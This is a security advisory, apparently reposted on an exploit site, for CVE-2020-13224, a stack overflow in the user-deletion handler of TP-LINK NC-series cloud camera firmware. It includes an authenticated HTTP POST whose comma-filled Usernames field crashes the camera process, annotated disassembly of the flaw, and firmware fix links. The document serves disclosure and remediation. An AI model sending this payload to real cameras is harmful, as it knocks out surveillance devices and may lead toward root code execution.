## https://sploitus.com/exploit?id=0DAYDB:C3A9D841922DCF23B69792072496E397
Vulnerability title: TP-LINK Cloud Cameras NCXXX DelMultiUser Stack Overflow
Author: Pietro Oliva
CVE: CVE-2020-13224
Vendor: TP-LINK
Product: NC200, NC210, NC220, NC230, NC250, NC260, NC450
Affected versions: NC200 <= 2.1.10 build 200401, NC210 <= 1.0.10 build 200401,
NC220 <= 1.3.1 build 200401, NC230 <= 1.3.1 build 200401,
NC250 <= 1.3.1 build 200401, NC260 <= 1.5.3 build_200401,
NC450 <= 1.5.4 build 200401
Fixed versions: NC200 <= 2.1.11 build 200508, NC210 <= 1.0.11 build 200612,
NC220 <= 1.3.2 build 200508, NC230 <= 1.3.2 build 200508,
NC250 <= 1.3.2 build 200508, NC260 <= 1.5.4 build_200508,
NC450 <= 1.5.5 build 200508
Description:
The issue is located in the httpDelMultiUserRpm method of the ipcamera binary
(Called when deleting multiple users via /delmultiuser.fcgi), where a
comma-delimited list of usernames is passed as an input, and a list of error
codes for each user deletion attempt is returned to the user via HTTP. The list
of error codes returned to the user is temporary stored in a fixed-size stack
buffer, while there in no limit on the number of usernames that the user can
specify. Since the error codes are concatenated in a loop without any boundary
checks until a string terminator has been found in the user-supplied string, a
stack-based buffer overflow can occur if the user provided an input string
with enough commas or usernames.
Impact:
Attackers could exploit this vulnerability to remotely crash the ipcamera
process, or remotely execute arbitrary code as root.
Exploitation:
An attacker would first need to authenticate to the web interface and make a
request similar to the following to trigger a crash of the ipcamera process:
POST /delmultiuser.fcgi HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Type: application/x-www-form-urlencoded
Cookie: sess=xxxxx
Content-Length: xxxx
Usernames=,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&token=xxxxx"
Evidence:
The disassembly of affected code from an NC200 camera is shown below:
sym.httpDelMultiUserRpm:
; Get pointer to Usernames param from HTTP request
โโ 0x0047ee90 lw a0, (env)
โโ 0x0047ee94 lw a1, -0x7fe4(gp)
โโ 0x0047ee98 nop
โโ 0x0047ee9c addiu a1, a1, -0x73b0 ; "Usernames" string
โโ 0x0047eea0 lw t9, -sym.httpGetEnv(gp)
โโ 0x0047eea4 nop
โโ 0x0047eea8 jalr t9
โโ 0x0047eeac nop
; Save the pointer and return error if it is NULL
โโ 0x0047eeb0 lw gp, (arg_10h)
โโ 0x0047eeb4 sw v0, (arg_usernames)
โโ 0x0047eeb8 lw v0, (arg_usernames)
โโ 0x0047eebc nop
โโโโ< 0x0047eec0 bnez v0, 0x47eed4
โโโ 0x0047eec4 nop
โโโ 0x0047eec8 addiu v0, zero, -1
โโโโโ< 0x0047eecc b 0x47f0bc
โโโโ 0x0047eed0 sw v0, (arg_46ch)
; If the pointer is not null, initialize to 0 the error code buffer on the stack
โโโโโ> 0x0047eed4 addiu v0, fp, 0x40
โโโ 0x0047eed8 move a0, v0
โโโ 0x0047eedc move a1, zero
โโโ 0x0047eee0 addiu a2, zero, 0x400
โโโ 0x0047eee4 lw t9, -sym.imp.memset(gp)
โโโ 0x0047eee8 nop
โโโ 0x0047eeec jalr t9
โโโ 0x0047eef0 nop
โโโ 0x0047eef4 lw gp, (arg_10h)
; Copy the arg_usernames pointer to arg_usernames_copy
โโโ 0x0047eef8 lw v0, (arg_usernames)
โโโ 0x0047eefc nop
โโโ 0x0047ef00 sw v0, (arg_usernames_copy)
; Get a pointer to the first occurrence of the comma character and store it
โโโโโ> 0x0047ef04 lw a0, (arg_usernames_copy)
โโโโ 0x0047ef08 addiu a1, zero, 0x2c
โโโโ 0x0047ef0c lw t9, -sym.imp.strchr(gp)
โโโโ 0x0047ef10 nop
โโโโ 0x0047ef14 jalr t9
โโโโ 0x0047ef18 nop
โโโโ 0x0047ef1c lw gp, (arg_10h)
โโโโ 0x0047ef20 sw v0, (ptr_to_next_comma)
; If the pointer is NULL go and delete the last username in the list
โโโโ 0x0047ef24 lw v0, (ptr_to_next_comma)
โโโโ 0x0047ef28 nop
โโโโโโ< 0x0047ef2c beqz v0, 0x47efc0
โโโโโ 0x0047ef30 nop
; Replace the comma character with a string terminator and delete the user
โโโโโ 0x0047ef34 lw v0, (ptr_to_next_comma)
โโโโโ 0x0047ef38 nop
โโโโโ 0x0047ef3c sb zero, (v0)
โโโโโ 0x0047ef40 lw a0, (arg_usernames_copy)
โโโโโ 0x0047ef44 lw t9, -sym.swUMDelUser(gp)
โโโโโ 0x0047ef48 nop
โโโโโ 0x0047ef4c jalr t9
โโโโโ 0x0047ef50 nop
; Create a string with the error code from swUMDelUser
โโโโโ 0x0047ef54 lw gp, (arg_10h)
โโโโโ 0x0047ef58 sw v0, (deluser_error_code)
โโโโโ 0x0047ef5c addiu v0, fp, 0x448
โโโโโ 0x0047ef60 move a0, v0
โโโโโ 0x0047ef64 lw a1, -0x7fe4(gp)
โโโโโ 0x0047ef68 nop
โโโโโ 0x0047ef6c addiu a1, a1, -0x73a4 ; '{"errorCode":&d},'
โโโโโ 0x0047ef70 lw a2, (deluser_error_code)
โโโโโ 0x0047ef74 lw t9, -sym.imp.sprintf(gp)
โโโโโ 0x0047ef78 nop
โโโโโ 0x0047ef7c jalr t9
โโโโโ 0x0047ef80 nop
; Concatenate the error code string with other error codes on the stack
โโโโโ 0x0047ef84 lw gp, (arg_10h)
โโโโโ 0x0047ef88 addiu v0, fp, 0x40
โโโโโ 0x0047ef8c addiu v1, fp, 0x448
โโโโโ 0x0047ef90 move a0, v0
โโโโโ 0x0047ef94 move a1, v1
โโโโโ 0x0047ef98 lw t9, -sym.imp.strcat(gp) ; concatenate err code
โโโโโ 0x0047ef9c nop
โโโโโ 0x0047efa0 jalr t9
โโโโโ 0x0047efa4 nop
; Increase the pointer by one to the next username
โโโโโ 0x0047efa8 lw gp, (arg_10h)
โโโโโ 0x0047efac lw v0, (ptr_to_next_comma)
โโโโโ 0x0047efb0 nop
โโโโโ 0x0047efb4 addiu v0, v0, 1
; Store the updated pointer and skip the last/only username deletion code
โโโโโโโ< 0x0047efb8 b 0x47f034
โโโโโโ 0x0047efbc sw v0, (arg_usernames_copy)
; Delete the last/only username in the list and concatenate error code
โโโโโโโ> 0x0047efc0 lw a0, (arg_usernames_copy)
โ โโโโ 0x0047efc4 lw t9, -sym.swUMDelUser(gp)
โ โโโโ 0x0047efc8 nop
โ โโโโ 0x0047efcc jalr t9
โ โโโโ 0x0047efd0 nop
โ โโโโ 0x0047efd4 lw gp, (arg_10h)
โ โโโโ 0x0047efd8 sw v0, (deluser_error_code)
โ โโโโ 0x0047efdc addiu v0, fp, 0x448
โ โโโโ 0x0047efe0 move a0, v0
โ โโโโ 0x0047efe4 lw a1, -0x7fe4(gp)
โ โโโโ 0x0047efe8 nop
โ โโโโ 0x0047efec addiu a1, a1, -0x73a4 ; '{"errorCode":&d},'
โ โโโโ 0x0047eff0 lw a2, (deluser_error_code)
โ โโโโ 0x0047eff4 lw t9, -sym.imp.sprintf(gp)
โ โโโโ 0x0047eff8 nop
โ โโโโ 0x0047effc jalr t9
โ โโโโ 0x0047f000 nop
โ โโโโ 0x0047f004 lw gp, (arg_10h)
โ โโโโ 0x0047f008 addiu v0, fp, 0x40
โ โโโโ 0x0047f00c addiu v1, fp, 0x448
โ โโโโ 0x0047f010 move a0, v0
โ โโโโ 0x0047f014 move a1, v1
โ โโโโ 0x0047f018 lw t9, -sym.imp.strcat(gp) ; Concatenate err code
โ โโโโ 0x0047f01c nop
โ โโโโ 0x0047f020 jalr t9
โ โโโโ 0x0047f024 nop
โ โโโโ 0x0047f028 lw gp, (arg_10h)
โโโโโโโ< 0x0047f02c b 0x47f04c
โโโโโโ 0x0047f030 nop
; Checks if the string terminator has been found.
โโโโโโโ> 0x0047f034 lw v0, (ptr_to_next_comma)
โโโโโ 0x0047f038 nop
; If yes, return the error codes to the user via HTTP
โโโโโโโ< 0x0047f03c beqz v0, 0x47f04c
; Otherwise, continue deleting users until the NULL terminator is found.
โโโโโโ 0x0047f040 nop
โโโโโโโ< 0x0047f044 b 0x47ef04
Mitigating factors:
There is very limited control over the buffer that will eventually overwrite
the saved return address. The only part of the buffer that can be slightly
controlled is the error code by using existing, non-existing, or invalid
usernames, since error codes can change in content and length. If an attacker
managed to find a way to carefully combine error codes and obtain a valid
address after return address overwrite, arbitrary code execution as root
could be achieved.
Remediation:
Install firmware updates provided by the vendor to fix the vulnerability.
The latest updates can be found at the following URLs:
https://www.tp-link.com/en/support/download/nc200/#Firmware
https://www.tp-link.com/en/support/download/nc210/#Firmware
https://www.tp-link.com/en/support/download/nc220/#Firmware
https://www.tp-link.com/en/support/download/nc230/#Firmware
https://www.tp-link.com/en/support/download/nc250/#Firmware
https://www.tp-link.com/en/support/download/nc260/#Firmware
https://www.tp-link.com/en/support/download/nc450/#Firmware